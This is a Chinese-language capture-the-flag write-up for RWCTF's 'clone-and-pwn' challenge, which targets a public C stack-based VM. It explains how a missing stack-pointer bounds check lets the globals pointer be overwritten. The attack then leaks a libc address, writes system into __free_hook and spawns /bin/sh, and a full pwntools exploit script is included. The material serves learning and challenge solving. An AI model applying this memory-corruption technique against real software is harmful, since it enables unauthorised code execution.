前言:RWCTF上的一道被打烂了的clone-and-pwn,一开始没搞懂clone是啥子意思,后来队里师傅扔出来一个github链接,才明白原来是直接从github上拉下来的项目,还真是real word
github项目地址:https://github.com/parrt/simple-virtual-machine-C/blob/master/src/vm.c
既然是clone就意味着有源码,有了源码对于做VM题来说就大大降低了我们的逆向难度。
逆向分析
说实话其实main.c在docker文件夹里似乎也给了,懒得打开了,还是扔进ida里面看一下:
可以看到我们确实没有必要打开main.c了,loader很简单,输入512字节的code,然后连续调用
vm_create,vm_exec,vm_free
而这三个函数在源码中都能找到具体实现,所以下面我们来分析一下源码(感觉应该叫正向分析了hhhhh)
VM *vm_create(int *code, int code_size, int nglobals)
{
VM *vm = calloc(1, sizeof(VM));
vm_init(vm, code, code_size, nglobals);
return vm;
}
给一个vm结构体分配空间,然后调用vm_init
void vm_init(VM *vm, int *code, int code_size, int nglobals)
{
vm->code = code;
vm->code_size = code_size;
vm->globals = calloc(nglobals, sizeof(int));
vm->nglobals = nglobals;
}
设置一些属性的值,然后给globals分配空间
然后是vm_exec,这个函数包括了一些基础操作,问题在于没有任何对sp指针的检测,也就是说在stack为空的时候仍然可以使用pop操作调整sp指针,这就意味着可以读写stack以外的数据
其指令格式为 opcode / opcode + 操作数,数据类型都是int
每个函数调用栈里都是一个返回地址加上一段空间用来装全局变量,执行RET的时候会把返回地址给ip,callsp减一
漏洞分析
漏洞在于没有对VM的stack有任何检测,所以sp指针可以从vm stack中跑出来,但是vm这个结构又是申请在堆上的空间,无法直接让跑到栈上,那么接下来要如何做呢?
我们主要来关心这四个操作:
同时配合这个结构来观察:
可以看到,vm中有两个指针,一个指向code,一个指向global,global是申请再堆上的一块空间,用来装全局变量,code则是指向栈上我们输入的code
可以看到,在进行STORE的时候,如果offset值为负,则可以修改code指针和globals指针,而进行GSTORE和GLOAD的时候,都是通过global指针来确定global的位置的,此时如果global改成code指针,就可以利用GSTORE和GLOAD进行栈上的任意地址读,这里的读指的是将数据放进VM stack中,不是打印出来。
我们放进gdb中调一下:
其中0x2101大小的堆存放的是VM这个结构体,0x21是global,0x411存放的是打印的帮助信息
看一下VM结构体里的内容:
可以看到一次是code指针,code_size,global指针,以及global大小,这里由于loade里设置的global的大小是0,所以第四个qword的值为0,此时sp指针指向红色箭头的位置。
因为sp初值是-1,且stack的单位是int所以要先pop一下,让sp等于-2,然后利用LOAD将code指针写到vm stack里
#
code = p32(POP) #sp=sp-1
code+=p32(LOAD)+p32(-997&0xffffffff)
code+=p32(LOAD)+p32(-996&0xffffffff)
接下来通过STORE,覆写global指针为code指针。
# change global ptr
code += p32(STORE) + p32(-992&0xffffffff)
code += p32(STORE) + p32(-993&0xffffffff)
# store balance
code+=p32(PUSH)+p32(0)
code+=p32(PUSH)+p32(0)
然后利用PUSH平衡了一下栈帧,到了这里,sp为0,global指针被我们修改成了code指针,指向栈段
接下来我们就可以使用GLOAD将栈上的值复制到vm stack中了,我们先来看看code附近有没有能用的libc上的地址:
我们以libc_start_main+243地址为例,计算一下偏移:
(0x7ffeade18d18-0x00007ffeade18b00)/4=0x86
所以有:
code += p32(GLOAD) + p32(0x87)
code += p32(GLOAD) + p32(0x86)
至于为什么要先放高位再放低位入栈,是因为还需要将这个libc地址转换为需要的system函数地址以及free_hook地址,如何转换呢,通过VM自带的add操作
可以看到这个add操作它还是以int为单位,所以要先放高四位,再放第四位,然后将计算好的offset入栈,利用add操作修改低四位,这样就得到了想要的函数地址了。
code += p32(PUSH) + p32(libc.sym['system']-libc.sym['__libc_start_main']-243)
code += p32(ADD)
让我们来看一下效果:
可以看到,确实是把system的地址算出来了,此时sp为2,接下来要把free_hook-8的低四位用几乎同样的方式写进vm stack中
code += p32(GLOAD) + p32(0x86)
code += p32(PUSH) + p32(libc.sym['__free_hook']-libc.sym['__libc_start_main']-243-8)
code += p32(ADD)
然后再次修改global指针,让他指向free_hook-8
# write global ptr ------>free_hook-8
code += p32(STORE) + p32(-993&0xffffffff)
code += p32(STORE) + p32(-990&0xffffffff)
code += p32(STORE) + p32(-992&0xffffffff)
# read the system into the vm stack
code += p32(LOAD) + p32(-992&0xffffffff)
code += p32(LOAD) + p32(-990&0xffffffff)
# write free_hook -------> system
code += p32(GSTORE) + p32(2)
code += p32(GSTORE) + p32(3)
# write /bin/sh\x00 into vm stack
code += p32(PUSH) + p32(0x6e69622f)
code += p32(PUSH) + p32(0x68732f)
# write /bin/sh\x00 on the free_hook-8
code += p32(GSTORE) + p32(1)
code += p32(GSTORE) + p32(0)
这里要注意,此时vm stack里的数据是,free_hook-8的低四位,system的低四位,libc基址的高四位,而写的时候只能按照栈内顺序来写,所以要先把system的低四位存到别的地方,修改完global指针之后再读到stack中,因为让sp++,要么自己push一个东西,要么从什么地方读入一个东西,不能像pop一样单纯修改sp
最后利用vm_free中会free掉global指针的性质,触发free_hook,getshell
完整exp:
from pwn import *
context.log_level = "debug"
context.binary = "./pwn"
'''
typedef enum {
NOOP = 0,
IADD = 1, // int add
ISUB = 2,
IMUL = 3,
ILT = 4, // int less than
IEQ = 5, // int equal
BR = 6, // branch
BRT = 7, // branch if true
BRF = 8, // branch if true
ICONST = 9, // push constant integer
LOAD = 10, // load from local context
GLOAD = 11, // load from global memory
STORE = 12, // store in local context
GSTORE = 13, // store in global memory
PRINT = 14, // print stack top
POP = 15, // throw away top of stack
CALL = 16, // call function at address with nargs,nlocals
RET = 17, // return value from function
HALT = 18
} VM_CODE;
'''
p = process("./pwn")
libc=ELF('./libc-2.31.so')
# opcode
GSTORE = 13 # gstore, offset
POP = 15 # pop
GLOAD = 11 # gload, offset
LOAD = 10 # load, offset
STORE = 12 # store, offset
PUSH = ICONST = 9 # push, data
ADD = IADD = 1 # add
HALT = 18
gdb.attach(p,"b* $rebase(0x137e)")
#sp=sp-1
code = p32(POP)
#read code ptr to the vm stack
code+=p32(LOAD)+p32(-997&0xffffffff)
code+=p32(LOAD)+p32(-996&0xffffffff)
# change global ptr
code += p32(STORE) + p32(-992&0xffffffff)
code += p32(STORE) + p32(-993&0xffffffff)
# store balance
code+=p32(PUSH)+p32(0)
code+=p32(PUSH)+p32(0)
# read libc address into vm stack
code += p32(GLOAD) + p32(0x87)
code += p32(GLOAD) + p32(0x86)
# calc system address
code += p32(PUSH) + p32(libc.sym['system']-libc.sym['__libc_start_main']-243)
code += p32(ADD)
# calc __free_hook_address
code += p32(GLOAD) + p32(0x86)
code += p32(PUSH) + p32(libc.sym['__free_hook']-libc.sym['__libc_start_main']-243-8)
code += p32(ADD)
# change the global ptr to free_hook-8
code += p32(STORE) + p32(-993&0xffffffff)
code += p32(STORE) + p32(-990&0xffffffff)
code += p32(STORE) + p32(-992&0xffffffff)
#read system back to the vm stack
code += p32(LOAD) + p32(-992&0xffffffff)
code += p32(LOAD) + p32(-990&0xffffffff)
#write system to the free_hook
code += p32(GSTORE) + p32(2)
code += p32(GSTORE) + p32(3)
#push /bin/sh\x00 into the vm stack
code += p32(PUSH) + p32(0x6e69622f)
code += p32(PUSH) + p32(0x68732f)
#write /bin/sh\x00 on the free_hook-8
code += p32(GSTORE) + p32(1)
code += p32(GSTORE) + p32(0)
# jump to vm_free
code += p32(HALT)
code = code.ljust(512, b"\x00")
p.send(code)
p.interactive()